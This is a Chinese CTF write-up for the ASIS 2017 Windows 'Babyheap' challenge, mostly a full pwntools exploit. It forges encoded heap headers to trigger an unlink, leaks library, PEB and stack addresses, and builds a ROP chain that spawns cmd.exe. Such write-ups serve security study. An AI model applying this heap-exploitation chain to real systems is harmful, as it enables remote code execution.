0%

ASIS_2017_Babyheap_Windows_unlink

用IDA分析一下,在edit功能里,没有检查length,可以直接溢出

由于是在windows server 2016上,所以堆header有加密,通过伪造header里的flag状态为0,然后设置好fd、bk,unlink即可。经过测试,在这个版本的windows上,可以直接unlink,只需要注意,在windows里fd和bk指向的是堆的content出,而不是header处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#coding:utf8
from pwn import *

#sh = remote('192.168.232.137',6666)
context.log_level = 'debug'
sh = remote('node3.buuoj.cn',26285)

sh.recvuntil('gift : ')
exe_base = int(sh.recvuntil('\n',drop = True),16) - 0x1090
print 'exe_base=',hex(exe_base)

def add(size,content):
sh.sendlineafter("What's your choice?","1")
sh.sendlineafter('sword?',str(size))
sh.sendlineafter('it!',content)

def delete(index):
sh.sendlineafter("What's your choice?","2")
sh.sendlineafter('destroy?',str(index))

def edit(index,size,content):
sh.sendlineafter("What's your choice?","3")
sh.sendlineafter('polish?',str(index))
sh.sendlineafter('time?',str(size))
sh.sendlineafter('again :',content)

def show(index):
sh.sendlineafter("What's your choice?","4")
sh.sendlineafter('check?',str(index))

def backdoor(addr):
sh.sendlineafter("What's your choice?","1337")
sh.sendlineafter('target?',str(addr))


add(0x10,'a'*0x10) #0
add(0x18,'b'*0x18) #1
add(0x80,'c'*0x80) #2
add(0x10,'d'*0x10) #3
add(0x10,'e'*0x10) #4

#泄露堆头
show(1)
sh.recvuntil('b'*0x18)
header_data = u64(sh.recv(6).ljust(8,'\x00'))
print 'header_data=',hex(header_data)
#计算出用于加密的mask
first_4_mask = (header_data & 0xFFFFFFFF) ^ 0x10010011
prev_size_mask = ((header_data >> 32) & 0xFFFF) ^ 0x4
print 'first_4_mask=',hex(first_4_mask)
print 'prev_size_mask=',hex(prev_size_mask)

#伪造1的header
size = 0x4
flag = 0 #当前chunk的空闲状态
#计算校验字节
smallTagIndex = flag ^ size
fake_header1 = (smallTagIndex << 24) + (flag << 16) + size
#加密header
fake_header1 = fake_header1 ^ first_4_mask
prev_size = 0x3
#加密prev_size
prev_size ^= prev_size_mask
fake_header1 = (0x8 << 56) + (prev_size << 32) + fake_header1
print 'fake_header1=',hex(fake_header1)
#伪造2的header
size = 0x11
flag = 1 #当前chunk的空闲状态
#计算校验字节
smallTagIndex = flag ^ size
fake_header2 = (smallTagIndex << 24) + (flag << 16) + size
#加密header
fake_header2 = fake_header2 ^ first_4_mask
prev_size = 0x4
#加密prev_size
prev_size ^= prev_size_mask
fake_header2 = (0x8 << 56) + (prev_size << 32) + fake_header2
print 'fake_header2=',hex(fake_header2)
#溢出,修改1、2的header,同时1中伪造好fd和bk
heap1_ptr_addr = exe_base + 0x4374
print 'heap1_ptr_addr=',hex(heap1_ptr_addr)
edit(0,0x38,'a'*0x10 + p64(fake_header1) + p32(heap1_ptr_addr - 0x4) + p32(heap1_ptr_addr) + 'b'*0x10 + p64(fake_header2))
#unlink
delete(2)
puts_iat = exe_base + 0x30c8
HeapAlloc_iat = exe_base + 0x300C
edit(1,0x10,p32(puts_iat) + p32(0) + p32(HeapAlloc_iat) + p32(heap1_ptr_addr))
#泄露puts地址
show(1)
sh.recvuntil('Show : ')
puts_addr = u32(sh.recv(4))
ucrtbase = puts_addr - 0x95a30
system_addr = ucrtbase + 0xb8320
print 'system_addr=',hex(system_addr)
#泄露ntdll地址
show(3)
sh.recvuntil('Show : ')
HeapAlloc_addr = u32(sh.recv(4))
ntdll_base = HeapAlloc_addr - 0x40120
#得到peb指针的地址
Peb_ptr_addr = ntdll_base + 0x10ebac
print 'ntdll_base=',hex(ntdll_base)
print 'Peb_ptr_addr=',hex(Peb_ptr_addr)
edit(4,0x4,p32(Peb_ptr_addr))
#泄露peb的地址
show(1)
sh.recvuntil('Show : ')
peb_base = u32(sh.recvuntil('\r',drop = True).ljust(4,'\x00')) - 0x21c
stack_ptr_addr = peb_base + 0x3000
print 'peb_base=',hex(peb_base)
print 'stack_ptr_addr=',hex(stack_ptr_addr)
edit(4,0x4,p32(stack_ptr_addr))
#泄露栈地址
show(1)
sh.recvuntil('Show : ')
stack_addr = u32(sh.recvuntil('\r',drop = True).ljust(4,'\x00'))
rop_addr = stack_addr + 0xc0
print 'rop_addr=',hex(rop_addr)
edit(4,0xC,p32(rop_addr) + 'cmd.exe\x00')
#写rop
rop = p32(system_addr) + p32(0) + p32(heap1_ptr_addr + 0x4)
edit(1,0xC,rop)
#getshell
sh.sendlineafter("What's your choice?","5")


sh.interactive()